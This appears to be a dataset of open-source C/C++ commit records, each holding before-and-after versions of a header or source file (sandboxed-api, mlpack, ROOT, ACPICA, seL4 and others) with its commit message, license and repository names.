#ifndef SANDBOXED_API_SANDBOX2_SYSCALL_DEFS_H_ #define SANDBOXED_API_SANDBOX2_SYSCALL_DEFS_H_ #include <sys/types.h> #include <cstdint> #include <string> #include <vector> #include "absl/strings/string_view.h" #include "absl/types/span.h" #include "sandboxed_api/config.h" #include "sandboxed_api/sandbox2/syscall.h" namespace sandbox2 { namespace syscalls { constexpr int kMaxArgs = 6; } // namespace syscalls class SyscallTable { public: struct Entry; // Returns the syscall table for the architecture. static SyscallTable get(sapi::cpu::Architecture arch); int size() { return data_.size(); } absl::string_view GetName(int syscall) const; std::vector<std::string> GetArgumentsDescription( int syscall, const uint64_t values[syscalls::kMaxArgs], pid_t pid) const; private: constexpr SyscallTable() = default; explicit constexpr SyscallTable(absl::Span<const Entry> data) : data_(data) {} const absl::Span<const Entry> data_; }; } // namespace sandbox2 #endif // SANDBOXED_API_SANDBOX2_SYSCALL_DEFS_H_
#ifndef SANDBOXED_API_SANDBOX2_SYSCALL_DEFS_H_ #define SANDBOXED_API_SANDBOX2_SYSCALL_DEFS_H_ #include <sys/types.h> #include <cstdint> #include <string> #include <vector> #include "absl/strings/string_view.h" #include "absl/types/span.h" #include "sandboxed_api/config.h" #include "sandboxed_api/sandbox2/syscall.h" namespace sandbox2 { namespace syscalls { constexpr int kMaxArgs = 6; } // namespace syscalls class SyscallTable { public: struct Entry; // Returns the syscall table for the architecture. static SyscallTable get(sapi::cpu::Architecture arch); int size() { return data_.size(); } absl::string_view GetName(int syscall) const; std::vector<std::string> GetArgumentsDescription(int syscall, const uint64_t values[], pid_t pid) const; private: constexpr SyscallTable() = default; explicit constexpr SyscallTable(absl::Span<const Entry> data) : data_(data) {} const absl::Span<const Entry> data_; }; } // namespace sandbox2 #endif // SANDBOXED_API_SANDBOX2_SYSCALL_DEFS_H_
Make code not have a -Warray-parameter warning.
Make code not have a -Warray-parameter warning. PiperOrigin-RevId: 467842322 Change-Id: Ic262a3f98fa823ef524ac02d08b2f5b8f4adf71d
C
apache-2.0
google/sandboxed-api,google/sandboxed-api,google/sandboxed-api,google/sandboxed-api
60ea97b28f20e5a191cdae6ff1bde978cdcad85e
src/TantechEngine/observer.h
src/TantechEngine/observer.h
#ifndef TE_OBSERVER_H #define TE_OBSERVER_H namespace te { template <class EventType> class Observer { public: virtual ~Observer() {} virtual void onNotify(const EventType& evt) = 0; }; } #endif
#ifndef TE_OBSERVER_H #define TE_OBSERVER_H #include <vector> #include <memory> #include <cassert> namespace te { template <class EventType> class Observer { public: virtual ~Observer() {} virtual void onNotify(const EventType& evt) = 0; }; template <class EventType> class Notifier { public: virtual ~Notifier() {} void addObserver(std::shared_ptr<Observer<EventType>> newObserver) { assert(newObserver); if (std::find(mObservers.begin(), mObservers.end(), newObserver) == mObservers.end()) { mObservers.push_back(newObserver); } } protected: void notify(const EventType& evt) { std::for_each(std::begin(mObservers), std::end(mObservers), [&evt](std::shared_ptr<Observer<EventType>>& pObserver) { pObserver->onNotify(evt); }); } private: std::vector<std::shared_ptr<Observer<EventType>>> mObservers; }; } #endif
Add Notifier base class, complements Observer
Add Notifier base class, complements Observer
C
mit
evinstk/TantechEngine,evinstk/TantechEngine,evinstk/TantechEngine,evinstk/TantechEngine,evinstk/TantechEngine,evinstk/TantechEngine
749cfdeebb9f9706d8705ea46ed29bd3d9b1e834
src/altera.c
src/altera.c
#include "mruby.h" extern void altera_piocore_init(mrb_state *mrb); extern void altera_piocore_final(mrb_state *mrb); void mrb_embed_altera_gem_init(mrb_state *mrb) { struct RClass *mod; mod = mrb_define_module(mrb, "Altera") altera_piocore_init(mrb, mod); } void mrb_embed_altera_gem_final(mrb_state *mrb) { altera_piocore_final(mrb); }
#include "mruby.h" extern void altera_piocore_init(mrb_state *mrb, struct RClass *mod); extern void altera_piocore_final(mrb_state *mrb); void mrb_embed_altera_gem_init(mrb_state *mrb) { struct RClass *mod; mod = mrb_define_module(mrb, "Altera"); altera_piocore_init(mrb, mod); } void mrb_embed_altera_gem_final(mrb_state *mrb) { altera_piocore_final(mrb); }
Fix prototype and syntax mistake
Fix prototype and syntax mistake
C
mit
kimushu/mruby-altera,kimushu/mruby-altera
a5f0f5dc4ba0d3f1d257db7542e7dedc7627c462
Settings/Controls/Slider.h
Settings/Controls/Slider.h
// Copyright (c) 2015, Matthew Malensek. // Distributed under the BSD 2-Clause License (see LICENSE.txt for details) #pragma once #include <Windows.h> #include <CommCtrl.h> #include "Control.h" class Slider : public Control { public: Slider(int id, DialogBase &parent) : Control(id, parent, false) { } void Buddy(Control *buddy, bool bottomOrRight = true); int Position(); void Position(int position); /// <summary>Sets the range (min, max) for the slider control.</summary> /// <param name="lo">Lower bound for the slider.</param> /// <param name="hi">Upper bound for the slider.</param> void Range(int lo, int hi); virtual BOOL CALLBACK Notification(NMHDR *nHdr); private: HWND _buddyWnd; public: /* Event Handlers */ std::function<void(NMTRBTHUMBPOSCHANGING *pc)> OnSlide; };
// Copyright (c) 2015, Matthew Malensek. // Distributed under the BSD 2-Clause License (see LICENSE.txt for details) #pragma once #include <Windows.h> #include <CommCtrl.h> #include "Control.h" class Slider : public Control { public: Slider(int id, DialogBase &parent) : Control(id, parent, false) { } void Buddy(Control *buddy, bool bottomOrRight = true); int Position(); void Position(int position); /// <summary>Sets the range (min, max) for the slider control.</summary> /// <param name="lo">Lower bound for the slider.</param> /// <param name="hi">Upper bound for the slider.</param> void Range(int lo, int hi); virtual BOOL CALLBACK Notification(NMHDR *nHdr); private: HWND _buddyWnd; public: /* Event Handlers */ std::function<bool()> OnSlide; };
Update slide event method definition
Update slide event method definition
C
bsd-2-clause
malensek/3RVX,malensek/3RVX,malensek/3RVX
acad4e8f9653beb8ffde0d516251dbf206bb375f
bluetooth/bdroid_buildcfg.h
bluetooth/bdroid_buildcfg.h
/* * Copyright 2013 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef _BDROID_BUILDCFG_H #define _BDROID_BUILDCFG_H #define BTA_DISABLE_DELAY 100 /* in milliseconds */ #endif
/* * Copyright 2013 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef _BDROID_BUILDCFG_H #define _BDROID_BUILDCFG_H #define BTA_DISABLE_DELAY 100 /* in milliseconds */ #define BTM_WBS_INCLUDED TRUE #define BTIF_HF_WBS_PREFERRED TRUE #endif
Add WBS support on Bluedroid (1/6)
Add WBS support on Bluedroid (1/6) Bug 13764086 Change-Id: Ib861d94b752561392e315ab8f459c30588075a46
C
apache-2.0
maruos/android_device_lge_hammerhead,maruos/android_device_lge_hammerhead,maruos/android_device_lge_hammerhead,maruos/android_device_lge_hammerhead
44dfccfeb025f4eb61c9f31af287c00a46a37a0d
fastlib/branches/fastlib-stl/fastlib/fx/option_impl.h
fastlib/branches/fastlib-stl/fastlib/fx/option_impl.h
#ifndef MLPACK_IO_OPTION_IMPL_H #define MLPACK_IO_OPTION_IMPL_H #include "io.h" namespace mlpack { /* * @brief Registers a parameter with IO. * This allows the registration of parameters at program start. */ template<typename N> Option<N>::Option(bool ignoreTemplate, N defaultValue, const char* identifier, const char* description, const char* parent, bool required) { if (ignoreTemplate) IO::Add(identifier, description, parent, required); else { IO::Add<N>(identifier, description, parent, required); //Create the full pathname. std::string pathname = IO::SanitizeString(parent) + std::string(identifier); IO::GetParam<N>(pathname.c_str()) = defaultValue; } } /* * @brief Registers a flag parameter with IO. */ template<typename N> Option<N>::Option(const char* identifier, const char* description, const char* parent) { IO::AddFlag(identifier, description, parent); } }; // namespace mlpack #endif
#ifndef MLPACK_IO_OPTION_IMPL_H #define MLPACK_IO_OPTION_IMPL_H #include "io.h" namespace mlpack { /* * @brief Registers a parameter with IO. * This allows the registration of parameters at program start. */ template<typename N> Option<N>::Option(bool ignoreTemplate, N defaultValue, const char* identifier, const char* description, const char* parent, bool required) { if (ignoreTemplate) IO::Add(identifier, description, parent, required); else { IO::Add<N>(identifier, description, parent, required); // Create the full pathname to set the default value. std::string pathname = IO::SanitizeString(parent) + std::string(identifier); IO::GetParam<N>(pathname.c_str()) = defaultValue; } } /* * @brief Registers a flag parameter with IO. */ template<typename N> Option<N>::Option(const char* identifier, const char* description, const char* parent) { IO::AddFlag(identifier, description, parent); // Set the default value (false). std::string pathname = IO::SanitizeString(parent) + std::string(identifier); IO::GetParam<bool>(pathname.c_str()) = false; } }; // namespace mlpack #endif
Set a default value for boolean options (false).
Set a default value for boolean options (false).
C
bsd-3-clause
minhpqn/mlpack,palashahuja/mlpack,Azizou/mlpack,ajjl/mlpack,minhpqn/mlpack,ranjan1990/mlpack,bmswgnp/mlpack,lezorich/mlpack,ranjan1990/mlpack,theranger/mlpack,thirdwing/mlpack,trungda/mlpack,stereomatchingkiss/mlpack,chenmoshushi/mlpack,BookChan/mlpack,darcyliu/mlpack,ersanliqiao/mlpack,stereomatchingkiss/mlpack,datachand/mlpack,thirdwing/mlpack,lezorich/mlpack,bmswgnp/mlpack,stereomatchingkiss/mlpack,bmswgnp/mlpack,datachand/mlpack,theranger/mlpack,trungda/mlpack,erubboli/mlpack,ranjan1990/mlpack,ajjl/mlpack,palashahuja/mlpack,darcyliu/mlpack,ajjl/mlpack,chenmoshushi/mlpack,lezorich/mlpack,datachand/mlpack,BookChan/mlpack,minhpqn/mlpack,chenmoshushi/mlpack,ersanliqiao/mlpack,erubboli/mlpack,theranger/mlpack,BookChan/mlpack,trungda/mlpack,thirdwing/mlpack,palashahuja/mlpack,Azizou/mlpack,ersanliqiao/mlpack,erubboli/mlpack,Azizou/mlpack,darcyliu/mlpack
61e076548c04d626edd4fb9a2d67bc69ac73ced8
source/board/nina_b1.c
source/board/nina_b1.c
/** * @file nina_b1.c * @brief board ID for the u-blox NINA-B1 EVA maker board * * DAPLink Interface Firmware * Copyright (c) 2009-2016, ARM Limited, All Rights Reserved * SPDX-License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "target_config.h" const char *board_id = "1238"; void prerun_board_config(void) { // NINA-B1 is based on nrf52 extern target_cfg_t target_device_nrf52; target_device = target_device_nrf52; }
/** * @file nina_b1.c * @brief board ID for the u-blox NINA-B1 EVA maker board * * DAPLink Interface Firmware * Copyright (c) 2009-2016, ARM Limited, All Rights Reserved * SPDX-License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "target_config.h" const char *board_id = "1238"; void prerun_board_config(void) { // NINA-B1 is based on nrf52 extern target_cfg_t target_device_nrf52; target_device = target_device_nrf52; }
Convert line endings to unix format
Convert line endings to unix format Convert the line endings for nina_b1.c to unix format. This matches the rest of the codebase. This also fixes strange git behavior which cause this file to show up as modified even when no changes have been made.
C
apache-2.0
google/DAPLink-port,sg-/DAPLink,sg-/DAPLink,google/DAPLink-port,sg-/DAPLink,google/DAPLink-port,google/DAPLink-port
7210b0870c273abcd45c9d7663623242a846e256
mc/inc/LinkDef.h
mc/inc/LinkDef.h
// @(#)root/mc:$Name: $:$Id: LinkDef.h,v 1.2 2002/04/26 08:46:10 brun Exp $ #ifdef __CINT__ #pragma link off all globals; #pragma link off all classes; #pragma link off all functions; #pragma link C++ global gMC; #pragma link C++ enum PDG_t; #pragma link C++ enum TMCProcess; #pragma link C++ class TVirtualMC+; #pragma link C++ class TVirtualMCApplication+; #pragma link C++ class TVirtualMCStack+; #pragma link C++ class TVirtualMCDecayer+; #endif
// @(#)root/mc:$Name: $:$Id: LinkDef.h,v 1.2 2002/04/26 09:25:02 brun Exp $ #ifdef __CINT__ #pragma link off all globals; #pragma link off all classes; #pragma link off all functions; #pragma link C++ global gMC; #pragma link C++ enum PDG_t; #pragma link C++ enum TMCProcess; #pragma link C++ class TVirtualMC+; #pragma link C++ class TVirtualMCApplication+; #pragma link C++ class TVirtualMCStack+; #pragma link C++ class TVirtualMCDecayer+; #pragma link C++ class TMCVerbose+; #endif
Add TMCVerbose to the list of mc classes
Add TMCVerbose to the list of mc classes git-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@6190 27541ba8-7e3a-0410-8455-c3a389f83636
C
lgpl-2.1
satyarth934/root,dfunke/root,tc3t/qoot,georgtroska/root,georgtroska/root,perovic/root,sawenzel/root,alexschlueter/cern-root,kirbyherm/root-r-tools,arch1tect0r/root,abhinavmoudgil95/root,zzxuanyuan/root-compressor-dummy,cxx-hep/root-cern,agarciamontoro/root,nilqed/root,abhinavmoudgil95/root,zzxuanyuan/root-compressor-dummy,olifre/root,root-mirror/root,sirinath/root,smarinac/root,simonpf/root,lgiommi/root,davidlt/root,krafczyk/root,mattkretz/root,sirinath/root,bbockelm/root,karies/root,sawenzel/root,tc3t/qoot,CristinaCristescu/root,omazapa/root,Y--/root,sawenzel/root,gganis/root,vukasinmilosevic/root,esakellari/root,gbitzes/root,beniz/root,nilqed/root,abhinavmoudgil95/root,mattkretz/root,zzxuanyuan/root-compressor-dummy,lgiommi/root,root-mirror/root,Y--/root,sirinath/root,smarinac/root,Y--/root,beniz/root,nilqed/root,CristinaCristescu/root,omazapa/root-old,zzxuanyuan/root,olifre/root,agarciamontoro/root,alexschlueter/cern-root,veprbl/root,mattkretz/root,agarciamontoro/root,zzxuanyuan/root,esakellari/root,0x0all/ROOT,perovic/root,pspe/root,esakellari/root,smarinac/root,esakellari/root,jrtomps/root,karies/root,dfunke/root,pspe/root,sirinath/root,zzxuanyuan/root,CristinaCristescu/root,evgeny-boger/root,gbitzes/root,zzxuanyuan/root-compressor-dummy,arch1tect0r/root,smarinac/root,esakellari/my_root_for_test,kirbyherm/root-r-tools,davidlt/root,sawenzel/root,arch1tect0r/root,karies/root,pspe/root,sbinet/cxx-root,cxx-hep/root-cern,gbitzes/root,mattkretz/root,Duraznos/root,BerserkerTroll/root,olifre/root,omazapa/root-old,jrtomps/root,zzxuanyuan/root-compressor-dummy,veprbl/root,gbitzes/root,0x0all/ROOT,sbinet/cxx-root,sawenzel/root,buuck/root,Dr15Jones/root,BerserkerTroll/root,abhinavmoudgil95/root,buuck/root,abhinavmoudgil95/root,veprbl/root,sirinath/root,vukasinmilosevic/root,gbitzes/root,tc3t/qoot,krafczyk/root,mkret2/root,gbitzes/root,simonpf/root,agarciamontoro/root,cxx-hep/root-cern,smarinac/root,CristinaCristescu/root,esakellari/root,CristinaCristescu/root,root-mirror/root,evgeny-boger/root,omazapa/root-old,mattkretz/root,Y--/root,krafczyk/root,mkret2/root,omazapa/root,satyarth934/root,nilqed/root,Dr15Jones/root,vukasinmilosevic/root,Duraznos/root,georgtroska/root,abhinavmoudgil95/root,krafczyk/root,buuck/root,beniz/root,nilqed/root,thomaskeck/root,esakellari/root,sbinet/cxx-root,perovic/root,gganis/root,georgtroska/root,esakellari/root,gganis/root,olifre/root,mkret2/root,smarinac/root,ffurano/root5,root-mirror/root,omazapa/root,agarciamontoro/root,lgiommi/root,davidlt/root,beniz/root,esakellari/my_root_for_test,zzxuanyuan/root-compressor-dummy,ffurano/root5,dfunke/root,buuck/root,nilqed/root,tc3t/qoot,mhuwiler/rootauto,sirinath/root,Duraznos/root,mkret2/root,olifre/root,BerserkerTroll/root,simonpf/root,buuck/root,sbinet/cxx-root,zzxuanyuan/root-compressor-dummy,omazapa/root-old,root-mirror/root,buuck/root,0x0all/ROOT,georgtroska/root,Y--/root,zzxuanyuan/root,bbockelm/root,gganis/root,tc3t/qoot,evgeny-boger/root,perovic/root,abhinavmoudgil95/root,arch1tect0r/root,vukasinmilosevic/root,sbinet/cxx-root,jrtomps/root,root-mirror/root,arch1tect0r/root,Duraznos/root,karies/root,omazapa/root-old,simonpf/root,beniz/root,thomaskeck/root,buuck/root,krafczyk/root,nilqed/root,omazapa/root,gganis/root,gbitzes/root,vukasinmilosevic/root,cxx-hep/root-cern,davidlt/root,Dr15Jones/root,simonpf/root,vukasinmilosevic/root,satyarth934/root,georgtroska/root,beniz/root,sbinet/cxx-root,BerserkerTroll/root,dfunke/root,sirinath/root,Duraznos/root,esakellari/my_root_for_test,perovic/root,zzxuanyuan/root,zzxuanyuan/root-compressor-dummy,olifre/root,gbitzes/root,tc3t/qoot,sbinet/cxx-root,mhuwiler/rootauto,simonpf/root,sawenzel/root,alexschlueter/cern-root,sbinet/cxx-root,BerserkerTroll/root,bbockelm/root,thomaskeck/root,Duraznos/root,sirinath/root,mkret2/root,buuck/root,karies/root,evgeny-boger/root,agarciamontoro/root,davidlt/root,gbitzes/root,perovic/root,satyarth934/root,veprbl/root,smarinac/root,jrtomps/root,mhuwiler/rootauto,zzxuanyuan/root-compressor-dummy,thomaskeck/root,lgiommi/root,cxx-hep/root-cern,agarciamontoro/root,Dr15Jones/root,arch1tect0r/root,zzxuanyuan/root-compressor-dummy,veprbl/root,0x0all/ROOT,pspe/root,smarinac/root,CristinaCristescu/root,0x0all/ROOT,pspe/root,sbinet/cxx-root,ffurano/root5,arch1tect0r/root,Duraznos/root,strykejern/TTreeReader,krafczyk/root,zzxuanyuan/root,sirinath/root,sawenzel/root,evgeny-boger/root,zzxuanyuan/root,arch1tect0r/root,omazapa/root,esakellari/root,vukasinmilosevic/root,mhuwiler/rootauto,pspe/root,0x0all/ROOT,tc3t/qoot,lgiommi/root,Dr15Jones/root,Duraznos/root,mhuwiler/rootauto,Duraznos/root,mattkretz/root,ffurano/root5,evgeny-boger/root,abhinavmoudgil95/root,olifre/root,gganis/root,pspe/root,esakellari/root,dfunke/root,Y--/root,nilqed/root,smarinac/root,BerserkerTroll/root,omazapa/root-old,veprbl/root,omazapa/root,vukasinmilosevic/root,thomaskeck/root,karies/root,lgiommi/root,buuck/root,BerserkerTroll/root,davidlt/root,agarciamontoro/root,evgeny-boger/root,cxx-hep/root-cern,kirbyherm/root-r-tools,veprbl/root,Duraznos/root,sawenzel/root,esakellari/my_root_for_test,thomaskeck/root,ffurano/root5,dfunke/root,gbitzes/root,perovic/root,esakellari/my_root_for_test,sbinet/cxx-root,agarciamontoro/root,bbockelm/root,satyarth934/root,olifre/root,satyarth934/root,evgeny-boger/root,bbockelm/root,tc3t/qoot,mhuwiler/rootauto,lgiommi/root,gganis/root,sirinath/root,Y--/root,karies/root,CristinaCristescu/root,jrtomps/root,vukasinmilosevic/root,buuck/root,veprbl/root,dfunke/root,sawenzel/root,krafczyk/root,davidlt/root,CristinaCristescu/root,beniz/root,zzxuanyuan/root,sbinet/cxx-root,nilqed/root,esakellari/my_root_for_test,dfunke/root,strykejern/TTreeReader,veprbl/root,kirbyherm/root-r-tools,lgiommi/root,olifre/root,davidlt/root,omazapa/root-old,arch1tect0r/root,omazapa/root,mhuwiler/rootauto,0x0all/ROOT,Y--/root,0x0all/ROOT,mkret2/root,kirbyherm/root-r-tools,Dr15Jones/root,vukasinmilosevic/root,omazapa/root,jrtomps/root,perovic/root,Duraznos/root,agarciamontoro/root,veprbl/root,cxx-hep/root-cern,omazapa/root,Y--/root,Y--/root,mhuwiler/rootauto,buuck/root,strykejern/TTreeReader,pspe/root,veprbl/root,omazapa/root-old,esakellari/root,olifre/root,evgeny-boger/root,gbitzes/root,lgiommi/root,ffurano/root5,tc3t/qoot,CristinaCristescu/root,mhuwiler/rootauto,arch1tect0r/root,krafczyk/root,beniz/root,gganis/root,davidlt/root,alexschlueter/cern-root,jrtomps/root,thomaskeck/root,BerserkerTroll/root,CristinaCristescu/root,sawenzel/root,pspe/root,karies/root,sawenzel/root,alexschlueter/cern-root,omazapa/root-old,strykejern/TTreeReader,perovic/root,olifre/root,esakellari/my_root_for_test,satyarth934/root,krafczyk/root,pspe/root,strykejern/TTreeReader,mattkretz/root,georgtroska/root,dfunke/root,bbockelm/root,karies/root,esakellari/root,lgiommi/root,perovic/root,mkret2/root,zzxuanyuan/root,agarciamontoro/root,mkret2/root,omazapa/root-old,mattkretz/root,omazapa/root-old,0x0all/ROOT,root-mirror/root,omazapa/root,simonpf/root,mattkretz/root,bbockelm/root,zzxuanyuan/root-compressor-dummy,mkret2/root,mkret2/root,jrtomps/root,kirbyherm/root-r-tools,zzxuanyuan/root,ffurano/root5,pspe/root,gganis/root,abhinavmoudgil95/root,davidlt/root,smarinac/root,gganis/root,jrtomps/root,georgtroska/root,strykejern/TTreeReader,BerserkerTroll/root,davidlt/root,nilqed/root,dfunke/root,sirinath/root,gganis/root,root-mirror/root,root-mirror/root,bbockelm/root,satyarth934/root,kirbyherm/root-r-tools,vukasinmilosevic/root,esakellari/my_root_for_test,mkret2/root,thomaskeck/root,simonpf/root,georgtroska/root,thomaskeck/root,mhuwiler/rootauto,esakellari/my_root_for_test,strykejern/TTreeReader,simonpf/root,bbockelm/root,karies/root,Dr15Jones/root,Y--/root,krafczyk/root,krafczyk/root,arch1tect0r/root,jrtomps/root,georgtroska/root,root-mirror/root,cxx-hep/root-cern,karies/root,jrtomps/root,bbockelm/root,omazapa/root,satyarth934/root,thomaskeck/root,tc3t/qoot,evgeny-boger/root,zzxuanyuan/root,simonpf/root,bbockelm/root,dfunke/root,simonpf/root,satyarth934/root,esakellari/my_root_for_test,mattkretz/root,alexschlueter/cern-root,beniz/root,CristinaCristescu/root,zzxuanyuan/root,georgtroska/root,evgeny-boger/root,root-mirror/root,mhuwiler/rootauto,mattkretz/root,beniz/root,abhinavmoudgil95/root,abhinavmoudgil95/root,perovic/root,lgiommi/root,BerserkerTroll/root,satyarth934/root,BerserkerTroll/root,beniz/root,nilqed/root,alexschlueter/cern-root
d6631b5abcdb414436c0a90bc11ba0cd4808eda0
inc/fftw_hao.h
inc/fftw_hao.h
#ifndef FFTW_HAO_H #define FFTW_HAO_H #include "fftw_define.h" class FFTServer { int dimen; int* n; int L; std::complex<double>* inforw; std::complex<double>* outforw; std::complex<double>* inback; std::complex<double>* outback; fftw_plan planforw; fftw_plan planback; public: FFTServer(); FFTServer(int Dc, const int* Nc, char format); //'C' Column-major: fortran style; 'R' Row-major: c style; FFTServer(const FFTServer& x); ~FFTServer(); FFTServer& operator = (const FFTServer& x); std::complex<double>* fourier_forw(const std::complex<double>* inarray); std::complex<double>* fourier_back(const std::complex<double>* inarray); friend void FFTServer_void_construction_test(); friend void FFTServer_param_construction_test(); friend void FFTServer_equal_construction_test(); friend void FFTServer_equal_test(); }; #endif
#ifndef FFTW_HAO_H #define FFTW_HAO_H #include "fftw_define.h" class FFTServer { public: int dimen; int* n; int L; std::complex<double>* inforw; std::complex<double>* outforw; std::complex<double>* inback; std::complex<double>* outback; fftw_plan planforw; fftw_plan planback; FFTServer(); FFTServer(int Dc, const int* Nc, char format); //'C' Column-major: fortran style; 'R' Row-major: c style; FFTServer(const FFTServer& x); ~FFTServer(); FFTServer& operator = (const FFTServer& x); std::complex<double>* fourier_forw(const std::complex<double>* inarray); std::complex<double>* fourier_back(const std::complex<double>* inarray); }; #endif
Remove friend function in FFTServer.
Remove friend function in FFTServer.
C
mit
hshi/fftw_lib_hao,hshi/fftw_lib_hao
9150976b9768c6f92fdf56d50f5f02e0b226b2ee
cuser/acpica/acenv_header.h
cuser/acpica/acenv_header.h
#include <stdarg.h> #include <stdbool.h> #include <stddef.h> #include <stdint.h> #define ACPI_MACHINE_WIDTH __INTPTR_WIDTH__ #define ACPI_SINGLE_THREADED #define ACPI_USE_LOCAL_CACHE #define ACPI_USE_NATIVE_DIVIDE #define DEBUGGER_THREADING DEBUGGER_SINGLE_THREADED #undef ACPI_GET_FUNCTION_NAME #ifdef ACPI_FULL_DEBUG //#define ACPI_DBG_TRACK_ALLOCATIONS #define ACPI_GET_FUNCTION_NAME __FUNCTION__ #else #define ACPI_GET_FUNCTION_NAME "" #endif static const uintptr_t ACPI_PHYS_BASE = 0x1000000; #define AcpiOsPrintf printf #define AcpiOsVprintf vprintf struct acpi_table_facs; uint32_t AcpiOsReleaseGlobalLock(struct acpi_table_facs* facs); uint32_t AcpiOsAcquireGlobalLock(struct acpi_table_facs* facs); #define ACPI_ACQUIRE_GLOBAL_LOCK(GLptr, Acquired) Acquired = AcpiOsAcquireGlobalLock(GLptr) #define ACPI_RELEASE_GLOBAL_LOCK(GLptr, Pending) Pending = AcpiOsReleaseGlobalLock(GLptr) #define COMPILER_DEPENDENT_UINT64 uint64_t #define COMPILER_DEPENDENT_UINT32 uint32_t
#include <stdarg.h> #include <stdbool.h> #include <stddef.h> #include <stdint.h> #define ACPI_MACHINE_WIDTH __INTPTR_WIDTH__ #define ACPI_SINGLE_THREADED #define ACPI_USE_LOCAL_CACHE #define ACPI_USE_NATIVE_DIVIDE #define DEBUGGER_THREADING DEBUGGER_SINGLE_THREADED #undef ACPI_GET_FUNCTION_NAME #ifdef ACPI_FULL_DEBUG //#define ACPI_DBG_TRACK_ALLOCATIONS #define ACPI_GET_FUNCTION_NAME __FUNCTION__ #else #define ACPI_GET_FUNCTION_NAME "" #endif static const uint64_t ACPI_PHYS_BASE = 0x100000000; #define AcpiOsPrintf printf #define AcpiOsVprintf vprintf struct acpi_table_facs; uint32_t AcpiOsReleaseGlobalLock(struct acpi_table_facs* facs); uint32_t AcpiOsAcquireGlobalLock(struct acpi_table_facs* facs); #define ACPI_ACQUIRE_GLOBAL_LOCK(GLptr, Acquired) Acquired = AcpiOsAcquireGlobalLock(GLptr) #define ACPI_RELEASE_GLOBAL_LOCK(GLptr, Pending) Pending = AcpiOsReleaseGlobalLock(GLptr) #define COMPILER_DEPENDENT_UINT64 uint64_t #define COMPILER_DEPENDENT_UINT32 uint32_t
Remove some of ACPICA's x32 support
Remove some of ACPICA's x32 support To actually work properly in x32, it would need to manage mappings of physical memory into the lower 4GB. Let's just require that you build it in 64-bit mode...
C
mit
olsner/os,olsner/os,olsner/os,olsner/os
8323e87f08a46398ae1ca4103e92b2cfe07c94a1
src/client.h
src/client.h
#ifndef _client_h_ #define _client_h_ #define DEFAULT_PORT 4080 void client_enable(); void client_disable(); int get_client_enabled(); void client_connect(char *hostname, int port); void client_start(); void client_stop(); void client_send(char *data); char *client_recv(); void client_version(int version); void client_login(const char *username, const char *identity_token); void client_position(float x, float y, float z, float rx, float ry); void client_chunk(int p, int q, int key); void client_block(int x, int y, int z, int w); void client_light(int x, int y, int z, int w); void client_sign(int x, int y, int z, int face, const char *text); void client_talk(const char *text); #endif
#ifndef _client_h_ #define _client_h_ #ifdef _MSC_VER #define snprintf _snprintf #endif #define DEFAULT_PORT 4080 void client_enable(); void client_disable(); int get_client_enabled(); void client_connect(char *hostname, int port); void client_start(); void client_stop(); void client_send(char *data); char *client_recv(); void client_version(int version); void client_login(const char *username, const char *identity_token); void client_position(float x, float y, float z, float rx, float ry); void client_chunk(int p, int q, int key); void client_block(int x, int y, int z, int w); void client_light(int x, int y, int z, int w); void client_sign(int x, int y, int z, int face, const char *text); void client_talk(const char *text); #endif
Add Visual Studio 2013 fix from omnus
Add Visual Studio 2013 fix from omnus
C
mit
DanielOaks/Craft,naxIO/magebattle,naxIO/magebattle,DanielOaks/Craft
e1050535819445459bb97a5c690b20780b5a3b5f
include/machine/hardware.h
include/machine/hardware.h
/* * Copyright 2014, General Dynamics C4 Systems * * This software may be distributed and modified according to the terms of * the GNU General Public License version 2. Note that NO WARRANTY is provided. * See "LICENSE_GPLv2.txt" for details. * * @TAG(GD_GPL) */ #ifndef __MACHINE_HARDWARE_H #define __MACHINE_HARDWARE_H #include <types.h> #include <arch/machine/hardware.h> #include <plat/machine/hardware.h> #include <plat/machine.h> void handleReservedIRQ(irq_t irq); void handleSpuriousIRQ(void); /** MODIFIES: [*] */ void ackInterrupt(irq_t irq); /** MODIFIES: [*] */ irq_t getActiveIRQ(void); /** MODIFIES: [*] */ bool_t isIRQPending(void); /** MODIFIES: [*] */ void maskInterrupt(bool_t enable, irq_t irq); #endif
/* * Copyright 2014, General Dynamics C4 Systems * * This software may be distributed and modified according to the terms of * the GNU General Public License version 2. Note that NO WARRANTY is provided. * See "LICENSE_GPLv2.txt" for details. * * @TAG(GD_GPL) */ #ifndef __MACHINE_HARDWARE_H #define __MACHINE_HARDWARE_H #include <types.h> #include <arch/machine/hardware.h> #include <plat/machine/hardware.h> #include <plat/machine.h> void handleReservedIRQ(irq_t irq); void handleSpuriousIRQ(void); /** MODIFIES: [*] */ void ackInterrupt(irq_t irq); /** MODIFIES: [*] */ irq_t getActiveIRQ(void); /** MODIFIES: [*] */ bool_t isIRQPending(void); /** MODIFIES: [*] */ void maskInterrupt(bool_t disable, irq_t irq); #endif
Update prototype of maskInterrupt to match implementations.
Update prototype of maskInterrupt to match implementations. The prototype will ultimately be removed, but the mismatch is presently breaking verification.
C
bsd-2-clause
